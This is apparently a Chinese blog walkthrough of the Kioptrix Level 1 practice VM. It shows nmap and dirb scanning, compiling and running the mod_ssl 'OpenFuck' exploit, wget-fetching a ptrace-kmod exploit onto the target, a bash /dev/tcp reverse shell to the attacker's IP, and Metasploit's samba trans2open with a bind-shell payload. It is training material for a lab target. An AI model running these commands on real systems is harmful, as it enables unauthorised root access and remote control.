kioptrix_level_1 新手入门级通关攻略

Kioptrix_level1

战前准备

在这里插入图片描述
将此处桥接模式改为nat模式

扫描阶段

  • 首先使用arp探查,快速扫描出存活主机

    • arp-scan -l
      

      此处arp为发送请求探查存活主机,-l 的作用是扫描该ip所在统一网段下的所有主机

在这里插入图片描述

  • 使用nmap全扫描该ip
    在这里插入图片描述

    • nmap -sV -A -p- 192.168.107.139
      #目标ip
      

      此处nmap的参数解释

      • -A 全面扫描:全面扫描不仅会显示端口号、服务类型、状态等信息,还会显示出服务的具体版本。
      • -sV 服务和版本侦测:只了解到端口号和服务名是不足以确定可以利用什么漏洞,拥有准确的版本号有助于确定服务器易受攻击的漏洞
      • -p-为全端口扫描

    此处可以看出关键信息,例如

    • 开放ssh端口

    • apache版本过低,可能存在mod_ssl漏洞利用

    • 139端口中的samba漏洞利用

  • 使用dirb扫描目录,可以找到几个可访问的页面

    • dirb http://192.168.107.139
      

      dirb解释:dirb是一个基于字典的web目录扫描工具,会用递归的方式来获取更多的目录,它还支持代理和http认证限制访问的网站

    网页中没有什么有效信息可以收集,但是有一个子目录中的文件变相提示注意mod_ssl漏洞

在这里插入图片描述

mod_ssl利用

mod_ssl是Apache HTTP Server的一个模块,它提供了对SSL/TLS协议的支持,用于加密和保护Web服务器与客户端之间的通信。mod_ssl的漏洞指的是该模块存在的安全漏洞,可能会被攻击者利用来进行恶意活动。

一种常见的mod_ssl漏洞是心脏出血漏洞(Heartbleed vulnerability),它是在OpenSSL库中发现的,但也影响到了使用mod_ssl模块的Apache服务器。该漏洞允许攻击者从服务器的内存中读取敏感信息,如私钥、会话密钥等,而无需进行任何身份验证。

攻击者可以通过发送特制的恶意请求来利用心脏出血漏洞。当服务器收到这样的请求时,由于一个错误的实现,它会返回多余的数据,包括服务器内存中的敏感信息。攻击者可以利用这些信息来进行进一步的攻击,如窃取用户的登录凭证、篡改数据等。

修复mod_ssl漏洞通常需要升级到修复了漏洞的版本,或者应用特定的补丁。此外,建议管理员还应该重新生成和部署服务器的SSL证书,以确保私钥的安全性。

总之,mod_ssl漏洞可能会导致服务器的敏感信息泄露和其他安全问题,因此及时修复和加强服务器的安全措施非常重要。

  • 使用搜查命令找寻mod_ssl相关漏洞,也可以使用该漏洞库查找

    https://www.exploit-db.com/search

    searchsploit mod_ssl 
    

在这里插入图片描述

  • 使用命令将其下载下来
    在这里插入图片描述

    searchspolit -m 47080.c
    

    直接上传

  • 此处使用vim编辑器编辑它,查看使用方式

    vim 47080.c
    
  • 如图表明了运行环境需要,以及编译格式

在这里插入图片描述

  • 环境安装使用命令
sudo apt-get install libssl-dev
  • 编译执行命令
gcc -o OpenFuck 47080.c -lcrypto
#此处为什么使用 -lcrypto这个参数,除了是因为用法中的解释,个人猜想是因为其中涉及到md5加解密问题,如果不加这个参数,会报出MD5相关的问题

在这里插入图片描述

  • 此处左下角为编译过后的二进制文件

  • 使用命令查看该编译后二进制文件的使用方法

    ./OpenFuck
    

在这里插入图片描述

  • 由此可得执行命令为
./OpenFuck 0x6b 192.168.107.139 443 -c 40

此处target的值参考使用方法中offset的对应值,如图
在这里插入图片描述

为什么使用这两个,因为该靶机由nmap扫描出的apache版本号为1.3.20,对应如图两种参数,经过尝试0x6b是可用的

  • 执行过后便连接成功

在这里插入图片描述

  • 此处使用whoami,id,查看出来该用户仅仅是普通用户,内容中也没有什么可用的内容

  • 至此,该方法不知所措,于是上网查询,得知

    此处是应为由于编译文件的缺失,导致部分文件未执行成功

解决方法

vim 47080.c查看到该脚本的下载路径

在这里插入图片描述

https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c

该网址为下载路径

使用wget 在kali中下载

在这里插入图片描述

  • 将文件下载过后,kali本机使用python3 -m http.server 80开启端口服务

  • 进入靶机用户使用wget 192.168.107.129/ptrace-kmod.c

    从本机下载该完整的c脚本文件

    (此处可以vim查看该文件使用方法注意点,其实没有要求)

  • 重新使用二进制文件连接,即可获取root权限,因为执行时变相编译了完整版的c脚本,当然也可以在用户中执行编译再执行

在这里插入图片描述

  • 至此该漏洞利用结束
  • 补充
python -c 'import pty;pty.spawn("/bin/bash")'

使用python回显命令的话,会显示python版本1.5,由此猜测可能是因为python版本问题无法使用该命令

在这里插入图片描述

此问题解决方法

使用nc -lnvp 12138开启该端口监听

随后在root用户中使用

此处反弹shell的命令格式为bash -i >& /dev/tcp/[ip]/[port] 0>&1

  • bash -i 打开bash

  • &后面跟 /dev/tcp/[ip]/[port] (相当于>&后面接文件)将bash的标准输出和标准错误输出传递到远程

    • bash解释:

      Bash(Bourne Again SHell)是一种在Linux和其他类Unix系统上广泛使用的命令行解释器和脚本语言。它是许多Linux发行版默认的Shell,也是最常用的Shell之一。

      Bash提供了一种与操作系统进行交互的方式,用户可以通过在终端输入命令并执行它们来与系统进行交互。Bash还支持脚本编程,用户可以编写一系列的命令和逻辑来自动化任务、处理数据和进行系统管理等。

      以下是一些常见的Bash特性和用法:

      1. 命令行操作:Bash允许用户在终端中输入命令,并执行它们。用户可以使用各种命令和选项来完成不同的任务,例如文件操作、进程管理、网络操作等。

      2. 变量和环境变量:Bash支持变量的定义和使用。用户可以创建变量来存储数据,并在脚本中引用它们。此外,Bash还提供了一些预定义的环境变量,可以用于访问系统信息和配置。

      3. 条件和循环:Bash提供了条件语句(如if-else)和循环结构(如for和while),可以根据条件执行不同的命令或多次执行一组命令。

      4. 脚本编程:Bash脚本是一系列Bash命令和逻辑的集合,可以用于自动化任务、批处理操作和系统管理等。用户可以使用文本编辑器创建脚本文件,并使用Bash解释器执行它们。

      5. 输入和输出重定向:Bash允许用户将命令的输入和输出重定向到文件或其他命令。例如,可以将命令的输出保存到文件中,或将一个命令的输出作为另一个命令的输入。

      6. 管道:Bash支持管道操作,允许将一个命令的输出作为另一个命令的输入。通过管道,可以将多个命令连接起来,实现更复杂的数据处理和操作。

  • /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。

    • socket套接字解释:

      socket 的意思是“插座”,在计算机通信领域,socket 被翻译为“套接字”,它是计算机之间进行通信的一种约定或一种方式。通过 socket 这种约定,一台计算机可以接收其他计算机的数据,也可以向其他计算机发送数据。

      socket 的典型应用就是 Web 服务器和浏览器:浏览器获取用户输入的 URL,向服务器发起请求,服务器分析接收到的 URL,将对应的网页内容返回给浏览器,浏览器再经过解析和渲染,就将文字、图片、视频等元素呈现给用户。

  • 0>&1将标准输入重定向至标准输出,由于标准输出定向至远程,标准输入也借此定向到远程。(由于标准错误输出也定向至远程,因此把 0>&1 改为 0>&2 也可以得到一个交互shell)

  • 0 - stdin 标准输入

  • 1 - stdout 标准输出

  • 2 - stderr 标准错误输出

当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

bash -i >& /dev/tcp/192.168.107.129/12138 0>&1
#此处为kali ip

随后成功获得回显

在这里插入图片描述

samba漏洞利用

samba解释:

Samba 是在 Linux 和 UNIX 系统上实现 SMB 协议的一个免费软件,由服务器及客户端程序构成。

NFS 与 samba 一样,也是在网络中实现文件共享的一种实现,但不幸的是,其不支持 windows 平台,samba 是能够在任何支持 SMB 协议的主机之间共享文件的一种实现,当然也包括 windows。

SMB 是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。

SMB 协议是 C/S 型协议,客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。

samba监听端口:TCP 139/445 | UDP 137/138

  • 由于apache版本过老,所以抱着试一试的态度看看samba是否也因为版本过老有漏洞

  • 首先需要探查samba的版本

  • 使用msfconsole进入metasploit框架下的msfconsole控制台终端接口

  • 随后使用search smb,搜索一下相关的东西,此处需要使用探查版本的模块,如图所示

在这里插入图片描述

使用该版本探查的模块

  • 此处使用方法为use加模块名,使用完成后,使用show options查看如何配置

    此处可以看到rhosts目标地址需要设置
    在这里插入图片描述

    如图使用set配置
    在这里插入图片描述

    随后使用exploit执行

  • 至此可以看出samba的版本号
    在这里插入图片描述

  • 重新使用msf,进入过后查询该samba版本的版本漏洞

    search samba 2.2.x

在这里插入图片描述

此处描述中提到了 samba trans2open overflow的相关解释为

Samba trans2open Overflow 是一个安全漏洞,影响Samba服务器软件中的特定组件。该漏洞使得攻击者可以通过发送恶意构造的数据包来执行远程代码,从而远程控制受影响的服务器。

利用 trans2open 漏洞,攻击者可以绕过身份验证,并执行恶意代码,可能导致服务器被入侵、敏感信息泄露以及其他未经授权的活动。攻击者可以通过该漏洞获取受感染服务器上的权限,甚至进一步在整个网络中传播。

如图,只有linux x86可用,那便使用

rank值一般为excelle或者great成功率高

  • 此处命令即为use exploit/linux/samba/trans2open

  • 配置成功后
    在这里插入图片描述

  • 使用show options查看配置

    并配置需要配置的参数,一般只有rhosts需要配置

在这里插入图片描述

  • 随后使用show payloads查看攻击载荷模块
    在这里插入图片描述

  • 攻击载荷模块区别补充

    reverse_tcp

    reverse_tcp

    攻击机设置一个端口(LPORT)和IP(LHOST),Payload在测试机执行连接攻击机IP的端口,这时如果在攻击机监听该端口会发现测试机已经连接。

    bind_tcp

    攻击机设置一个端口(LPORT),Payload在测试机执行打开该端口,以便攻击机可以接入。

    基于TCP的正向连接shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置LHOST。

    reverse_http

    基于http方式的反向连接,在网速慢的情况下不稳定。

    reverse_https

    基于https方式的反向连接,在网速慢的情况下不稳定, https如果反弹没有收到数据,可以将监听端口换成443试试

    Metasploit攻击载荷模块分为独立(Singles)、传输器(Stager)、传输体(Stage)三种类型

    shell_bind_tcp 是一个独立攻击载荷

    windows/shell_bind_tcp 是一个独立攻击载荷。windows/shell/bind_tcp 是一个由传输器载荷(bind_tcp)和一个传输体载荷(shell)所组成,其功能相当于“windows/shell_bind_tcp”

  • 此处使用攻击载荷

    set payload linux/x86/shell_bind_tcp
    

在这里插入图片描述

oit攻击载荷模块分为独立(Singles)、传输器(Stager)、传输体(Stage)三种类型*

shell_bind_tcp 是一个独立攻击载荷

windows/shell_bind_tcp 是一个独立攻击载荷。windows/shell/bind_tcp 是一个由传输器载荷(bind_tcp)和一个传输体载荷(shell)所组成,其功能相当于“windows/shell_bind_tcp”

  • 此处使用攻击载荷

    set payload linux/x86/shell_bind_tcp
    
  • 随后执行,连接成功后便可获取root

补充说明:本人也在学习期间,如有不正确的地方请见谅

版权声明:本文章为了方便零基础同学通关靶机,掺杂了相关的知识补充,该知识补充内容为学习期间在网上收集的信息,如若有侵权行为,请联系本人进行处理。

  • 7
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值